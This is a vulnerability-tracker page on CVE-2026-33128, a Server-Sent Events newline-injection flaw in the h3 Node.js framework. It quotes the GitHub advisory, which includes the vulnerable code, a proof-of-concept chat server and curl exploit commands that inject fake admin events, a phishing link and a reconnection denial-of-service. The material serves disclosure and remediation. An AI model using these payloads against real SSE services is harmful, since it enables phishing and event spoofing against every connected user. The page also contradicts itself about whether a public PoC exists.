Skip to main content

CVE-2026-33128

HIGH
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-03-18 https://github.com/h3js/h3 GHSA-22cc-p3c6-wpvm
7.5
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker controls SSE message field
  2. Delivery
    Inject newline characters in data/event/id/comment
  3. Exploit
    Craft malicious SSE event
  4. Execution
    Browser parses injected event
  5. Impact
    Execute client-side logic or redirect

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization CRLF sequence sanitization
Exploitation Conditions

Attacker must control input to h3's createEventStream SSE message fields (id, event, data, or comment). Requires h3 application accepting user-controlled data in SSE responses. AC:H suggests specific conditions like certain data sources or configurations must align.

Impact

The CVSS score of 7.5 (High) with vector AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N indicates network-based exploitation with high attack complexity but no privileges required, changed scope, and high integrity impact. The high attack complexity (AC:H) suggests exploitation requires specific conditions like user-controllable SSE fields, which is common in chat applications, notification systems, and AI streaming interfaces. The changed scope (S:C) is particularly concerning as injected events affect all connected clients, not just the attack vector. A working proof-of-concept demonstrates trivial exploitation via URL-encoded newlines in query parameters, effectively reducing real-world attack complexity. Patch availability from the vendor (commit 7791538e15ca22437307c06b78fa155bb73632a6) indicates the issue is confirmed and understood. While not listed in CISA KEV and lacking EPSS data, the combination of a public POC, widespread h3 usage in modern JavaScript applications, and the framework-level nature of the flaw (requiring no developer misconfiguration) makes this a genuine priority for organizations using h3's SSE features in production environments handling untrusted input.

Exploit ScenarioDerived

An attacker targeting a chat application built with h3's SSE functionality submits a message containing URL-encoded newline sequences such as 'user=bob&msg=hi%0a%0aevent:%20admin%0adata:%20System%20compromised' through the application's message endpoint. The h3 framework processes this input without sanitization, injecting a fraudulent 'admin' event into the SSE stream that all connected clients receive and process as legitimate, potentially triggering privileged client-side handlers or displaying phishing content to all users. The proof-of-concept demonstrates this attack works with simple HTTP GET requests requiring no authentication or complex techniques, making exploitation straightforward for attackers who identify h3 SSE implementations.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 18, 2026

The h3 JavaScript framework for Node.js contains a Server-Sent Events (SSE) injection vulnerability in its createEventStream function due to missing newline sanitization. Applications using h3's SSE functionality (pkg:npm/h3) are vulnerable to attackers who can control any part of SSE message fields (id, event, data, or comments), allowing injection of arbitrary events to all connected clients. A proof-of-concept exploit exists demonstrating event injection, cross-user content manipulation, and denial-of-service attacks.

RemediationAI

Upgrade to the patched version of h3 that includes commit 7791538e15ca22437307c06b78fa155bb73632a6 available at https://github.com/h3js/h3/commit/7791538e15ca22437307c06b78fa155bb73632a6 which implements proper newline sanitization in SSE message formatting functions. Until patching is possible, implement input validation middleware that strips or escapes newline characters (both line feed and carriage return) from all data passed to SSE message fields including id, event, data, and comment parameters. As a defense-in-depth measure, implement Content Security Policy headers to restrict event handler origins and validate event types on the client side before processing SSE events. Review application code for all uses of createEventStream and ensure no user-controllable input flows directly into SSE message construction. Consult the full vendor security advisory at https://github.com/h3js/h3/security/advisories/GHSA-22cc-p3c6-wpvm for additional guidance.

Affected Packages

npm h3 fix: 1.15.6, 2.0.1-rc.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects h3, a minimal HTTP framework for Node.js (pkg:npm/h3), specifically in its Server-Sent Events implementation. The SSE protocol, defined in the WHATWG HTML specification, uses newline characters as field delimiters and double newlines as event separators. The vulnerable code in src/utils/internal/event-stream.ts functions formatEventStreamMessage and formatEventStreamComment fails to sanitize user input for newline characters before interpolating values into the SSE wire format. This is classified as CWE-93 (Improper Neutralization of CRLF Sequences), a type of injection vulnerability where special characters that have protocol-level meaning are not properly escaped. When untrusted data containing newline characters is passed through these functions, it breaks SSE framing boundaries, allowing attackers to inject arbitrary SSE protocol directives that browsers' EventSource API will parse as legitimate events.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.5 HIGH
AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch released
Mar 18, 2026 - 16:30 nvd
Patch available
CVE Published
Mar 18, 2026 - 16:17 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.

Details

The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:

typescript
export function formatEventStreamComment(comment: string): string {
  return `: ${comment}\n\n`;
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${message.id}\n`;
  }
  if (message.event) {
    result += `event: ${message.event}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  result += `data: ${message.data}\n\n`;
  return result;
}

The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.

None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:

  1. Inject arbitrary SSE fields - break out of one field and add event:, data:, id:, or retry: directives
  2. Inject entirely new SSE events - using \n\n to terminate the current event and start a new one
  3. Manipulate reconnection behavior - inject retry: 1 to force aggressive reconnection (DoS)
  4. Override Last-Event-ID - inject id: to manipulate which events are replayed on reconnection

Injection via the event field

Intended wire format:        Actual wire format (with \n injection):

event: message               event: message
data: attacker: hey          event: admin              ← INJECTED
                             data: ALL_USERS_HACKED    ← INJECTED
                             data: attacker: hey

The browser's EventSource API parses these as two separate events: one message event and one admin event.

Injection via the data field

Intended:                    Actual (with \n\n injection):

event: message               event: message
data: bob: hi                data: bob: hi
                                                        ← event boundary
                             event: system              ← INJECTED event
                             data: Reset: evil.com      ← INJECTED data

Before exploit: <img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />

<img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" />

PoC

Vulnerable server (sse-server.ts)

A realistic chat/notification server that broadcasts user input via SSE:

typescript
import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";

const app = new H3();
const clients: any[] = [];

app.get("/events", (event) => {
  const stream = createEventStream(event);
  clients.push(stream);
  stream.onClosed(() => {
    clients.splice(clients.indexOf(stream), 1);
    stream.close();
  });
  return stream.send();
});

app.get("/send", async (event) => {
  const query = getQuery(event);
  const user = query.user as string;
  const msg = query.msg as string;
  const type = (query.type as string) || "message";

  for (const client of clients) {
    await client.push({ event: type, data: `${user}: ${msg}` });
  }

  return { status: "sent" };
});

serve({ fetch: app.fetch });

Exploit

bash
# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"
# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"
# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"

Raw wire format proving injection

event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit

The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED - entirely controlled by the attacker.

Proof:

<img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" />

<img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" />

Impact

An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.

Attack scenarios:

  • Cross-user content injection - inject fake messages in chat applications
  • Phishing - inject fake system notifications with malicious links
  • Event spoofing - trigger client-side handlers for privileged event types (e.g., admin, system)
  • Reconnection DoS - inject retry: 1 to force all clients to reconnect every 1ms
  • Last-Event-ID manipulation - override the event ID to cause event replay or skipping on reconnection

This is a framework-level vulnerability, not a developer misconfiguration - the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 npm packages depend on h3 (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 2.0.0.

Executive ViewAI

Why It Matters

Applications using the h3 Node.js framework for real-time communications are at risk of message injection attacks that could expose users to malicious content, disrupt service availability, and compromise data integrity across connected clients. Any organization running h3-based applications serving multiple users should prioritize immediate assessment and patching to prevent potential reputational and operational damage.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Implement WAF rules to sanitize newline characters in SSE responses; (2) Disable SSE functionality if not business-critical; (3) Implement network segmentation to limit client connections; (4) Add input validation and sanitization at application layer for all SSE message fields before passing to createEventStream function.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Affected Products (CPE)GitHub Advisory

pkg:npm/h3
pkg:npm/h3

Related Vulnerabilities in h3 HTTP Framework Security Flaws

View all 2

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy